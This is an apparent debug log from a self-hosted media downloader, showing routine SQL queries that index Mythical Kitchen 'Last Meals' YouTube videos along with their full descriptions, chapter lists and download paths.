https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 John's Last Meal Menu\n0:34 Intro\n1:45 Thinking About Death\n3:05 1st Course - BBQ, Lamb Chop, Jollof Rice, & Shirley Temple\n3:36 Who Has the Best Jollof Rice?\n5:00 Do Humans Have Free Will?\n6:17 Preserving Cultural Food Traditions\n7:21 Taking Harrison Ford Out For Dinner \n9:45 Technology vs God\n11:03 Course 2 - Burger, Fries, Chicken & Waffles, Orange Chicken, & Juice\n11:47 John Boyega is a Juice Man\n13:23 How John Wants to Die\n13:55 Black Lives Matter Protest\n15:26 BoatmanThreatens John at Sea\n17:03 Opening Doors for Others\n18:57 Course 3 - Seafood Boil\n19:14 John's First Shrimp Head\n19:59 Date Night at The Juicy Crab\n21: (truncated) 20:49:32.321 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.321 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-01 10:00:23Z], 1] 20:49:32.322 [debug] QUERY OK source="media_items" db=0.5ms idle=1.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Rainn Wilson eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Rainn's Last Meal\n0:20 Dwight Shrute Works At Mrs. Fields\n1:18 Have You Thought About Your Last Meal Before?\n1:50 How Often Do You Think About Death?\n2:40 1st Course\n4:40 Are Simulation Theory & Theism Compatible?\n5:43 Spirituality & Meatloaf\n7:28 The Bahai Faith & Star Trek\n9:56 What Gives You Hope For The Future?\n12:16 We Need Potlucks\n12:40 2nd Course\n14:58 Art As Worship\n16:58 Is God Necessary?\n18:14 Religion, Gaza, & Hot Dish\n20:07 3rd Course\n21:31 Why Rainn Hates The Word Charity\n23:57 The Chipotle Black Card\n24:47 That's What She Said\n25:26 An Ode To The Fried Plantain\n26:45 Preparing A Body For Burial\n28:50 Seeing The Soul In A Tear\n29:47 4th Course\n30:51 You Can't Legislate Away Evil\n34:00 What Do You Think Happens When You Die?\n36:14 Lightning Round\n39:09 Rainn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Rainn Wilson Eats His Last Meal", "0a31e183-2bf9-4e6a-a599-06cd1ea01c30", "https://www.youtube.com/watch?v=GI9314kbYKw", false, "GI9314kbYKw", 2409, false, 54, "/downloads/Last Meals/2025-05-01 Rainn Wilson Eats His Last Meal/Rainn Wilson Eats His Last Meal [GI9314kbYKw].mp4", false, false, 1, [], 1, ~U[2025-05-01 10:00:23Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Rainn Wilson eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Rainn's Last Meal\n0:20 Dwight Shrute Works At Mrs. Fields\n1:18 Have You Thought About Your Last Meal Before?\n1:50 How Often Do You Think About Death?\n2:40 1st Course\n4:40 Are Simulation Theory & Theism Compatible?\n5:43 Spirituality & Meatloaf\n7:28 The Bahai Faith & Star Trek\n9:56 What Gives You Hope For The Future?\n12:16 We Need Potlucks\n12:40 2nd Course\n14:58 Art As Worship\n16:58 Is God Necessary?\n18:14 Religion, Gaza, & Hot Dish\n20:07 3rd Course\n21:31 Why Rainn Hates The Word Charity\n23:57 The Chipotle Black Card\n24:47 That's What She Said\n25:26 An Ode To The Fried Plantain\n26:45 Preparing A Body For Burial\n28:50 Seeing The Soul In A Tear\n29:47 4th Course\n30:51 You Can't Legislate Away Evil\n34:00 What Do You Think Happens When You Die?\n36:14 Lightning Round\n39:09 Rainn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Rainn Wilson Eats His Last Meal", "https://www.youtube.com/watch?v=GI9314kbYKw", "GI9314kbYKw", 2409, false, "/downloads/Last Meals/2025-05-01 Rainn Wilson Eats His Last Meal/Rainn Wilson Eats His Last Meal [GI9314kbYKw].mp4", false, 1, ~U[2025-05-01 10:00:23Z]] 20:49:32.322 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.322 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-13 10:00:29Z], 1] 20:49:32.323 [debug] QUERY OK source="media_items" db=0.7ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Sean Evans eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n00:00 Sean's Last Meal\n00:18 Chicago Tour Guide Summers\n02:13 Thinking About Death At The Dentist\n04:08 1st Course\n04:47 Taco Bell Hot Sauce \n05:48 King Of Interviews\n07:40 The Innovation Of The Crunchwrap Supreme\n08:27 Pettiness As Fuel\n10:39 The Ultimate Assist Man\n12:35 We Need To Talk About Da Bomb\n15:01 2nd Course\n15:33 Love Letter To Chicago\n18:49 Middle School Baseball\n21:46 Interviews Are A Trust Exercise\n23:26 Cancer Is A Nightmare That Never Stops\n26:16 The Best Dad\n27:49 3rd Course\n29:50 Accidentally Predicting His Own Career\n32:19 Josh Freelances For First We Feast\n33:45 Staying Sane On The Internet\n36:04 4th Course\n38:17 Sean Asks Josh A \"Last Dab\" Question\n41:24 Are You Happy?\n42:12 What Do You Think Happens When You Die?\n42:59 Lightning Round\n45:32 Sean's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Sean Evans Eats His Last Meal", "7e78b4ea-5a55-4819-bce6-09a8e96c5fc8", "https://www.youtube.com/watch?v=ZgLs4fDr8aI", false, "ZgLs4fDr8aI", 2777, false, 55, "/downloads/Last Meals/2024-08-13 Sean Evans Eats His Last Meal/Sean Evans Eats His Last Meal [ZgLs4fDr8aI].mp4", false, false, 1, [], 1, ~U[2024-08-13 10:00:29Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Sean Evans eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n00:00 Sean's Last Meal\n00:18 Chicago Tour Guide Summers\n02:13 Thinking About Death At The Dentist\n04:08 1st Course\n04:47 Taco Bell Hot Sauce \n05:48 King Of Interviews\n07:40 The Innovation Of The Crunchwrap Supreme\n08:27 Pettiness As Fuel\n10:39 The Ultimate Assist Man\n12:35 We Need To Talk About Da Bomb\n15:01 2nd Course\n15:33 Love Letter To Chicago\n18:49 Middle School Baseball\n21:46 Interviews Are A Trust Exercise\n23:26 Cancer Is A Nightmare That Never Stops\n26:16 The Best Dad\n27:49 3rd Course\n29:50 Accidentally Predicting His Own Career\n32:19 Josh Freelances For First We Feast\n33:45 Staying Sane On The Internet\n36:04 4th Course\n38:17 Sean Asks Josh A \"Last Dab\" Question\n41:24 Are You Happy?\n42:12 What Do You Think Happens When You Die?\n42:59 Lightning Round\n45:32 Sean's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning pro (truncated) 20:49:32.323 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.323 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-14 11:00:15Z], 1] 20:49:32.327 [debug] QUERY OK source="media_items" db=3.3ms idle=1.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Emma Chamberlain's last meal.\n\nCheck out Emma Chamberlain's channel! - @emmachamberlain \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Emma's Last Meal Menu\n0:29 Advice on Self Esteem\n1:48 How Emma Came Up With Her Last Meal\n3:02 How Often Do You Think About Death?\n4:20 1st Course - Chocolate Croissant & Chamberlain Coffee\n5:58 Emma Loves France\n6:32 Gen Z & Anxiety\n7:39 Tune Into The Real World\n10:47 2nd Course - Tater Tots With Aoilis & Orange Wine\n13:39 Impostor Syndrome On YouTube\n14:25 When Being Online Causes An Identity Crisis\n16:51 Course 3 - Thai Curry & Falafel\n18:06 Is Pain Necessary In Love?\n19:48 Anxious Attachment\n20:07 Death Anxiety & Depression\n22:49 Fear Of Losing Parents\n24:27 Course 4 - Rice & Bean Burrito & Fusilli Pesto\n25:55 Perks Of Feeling Insignificant\n26:41 Emma's Offgrid Escape Plan\n27:39 Starting A Family\n28:10 Setting Expectations For Your Emotions\n29:02 Healing Your Inner Child\n30:00 The Universe, Miracles, & Spirituality\n32:10 Silly Little Human Games\n32:31 Not Being Able To Poop\n33:26 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n34:26 Who Is The Coolest Person You Saw At The Met Gala?\n34:50 Emma's Celebrity Crush\n36:06 Would You Rather Go Decaf Or Gluten Free?\n36:45 What's Your Biggest Fear?\n37:40 Emma's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=" <> ..., "Emma Chamberlain Eats Her Last Meal", "cfaba57e-2b68-49ed-8729-3a08b05ef5fc", "https://www.youtube.com/watch?v=Bn6xBU9AhoM", false, "Bn6xBU9AhoM", 2427, false, 56, "/downloads/Last Meals/2023-11-14 Emma Chamberlain Eats Her Last Meal/Emma Chamberlain Eats Her Last Meal [Bn6xBU9AhoM].mp4", false, false, 1, [], 1, ~U[2023-11-14 11:00:15Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Emma Chamberlain's last meal.\n\nCheck out Emma Chamberlain's channel! - @emmachamberlain \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Emma's Last Meal Menu\n0:29 Advice on Self Esteem\n1:48 How Emma Came Up With Her Last Meal\n3:02 How Often Do You Think About Death?\n4:20 1st Course - Chocolate Croissant & Chamberlain Coffee\n5:58 Emma Loves France\n6:32 Gen Z & Anxiety\n7:39 Tune Into The Real World\n10:47 2nd Course - Tater Tots With Aoilis & Orange Wine\n13:39 Impostor Syndrome On YouTube\n14:25 When Being Online Causes An Identity Crisis\n16:51 Course 3 - Thai Curry & Falafel\n18:06 Is Pain Necessary In Love?\n19:48 Anxious Attachment\n20:07 Death Anxiety & Depression\n22:49 Fear Of Losing Parents\n24:27 Course 4 - Rice & Bean Burrito & Fusilli Pesto\n25:55 Perks Of Feeling Insignificant\n26:41 Emma's Offgrid Escape Plan\n27:39 Starting A Family\n28:10 Setting Expectations For Your Emotions\n29:02 Healing Your Inner Child\n30:00 The Universe, Miracles, & Spirituality\n32:10 Silly Little Human Games\n32:31 Not Being Able To Poop\n33:26 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n34:26 Who Is The Coolest Person You Saw At The Met Gala?\n34:50 Emma's Celebrity Crush\n36:06 Would You Rather Go Decaf Or Gluten Free?\n36:45 What's Your Biggest Fear?\n37:40 Emma's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\ (truncated) 20:49:32.327 [debug] QUERY OK source="sources" db=0.0ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.327 [debug] QUERY OK source="media_items" db=0.1ms idle=4.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-04 11:00:40Z], 1] 20:49:32.328 [debug] QUERY OK source="media_items" db=0.5ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Brenda Song eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brenda's Last Meal\n0:29 Becoming A Funeral Director For Fish\n1:25 Have You Thought About Your Last Meal Before?\n2:07 How Often Do You Think About Death?\n2:36 1st Course\n4:21 Secretly Watching Laker Games On Set\n6:15 Hospitalized For Being A \"Hoops Sicko\"\n7:54 Portraying Lakers Owner Jeanie Buss\n11:01 Are They Going To Fire Me?\n12:45 2nd Course\n14:18 Pass The Plate\n15:22 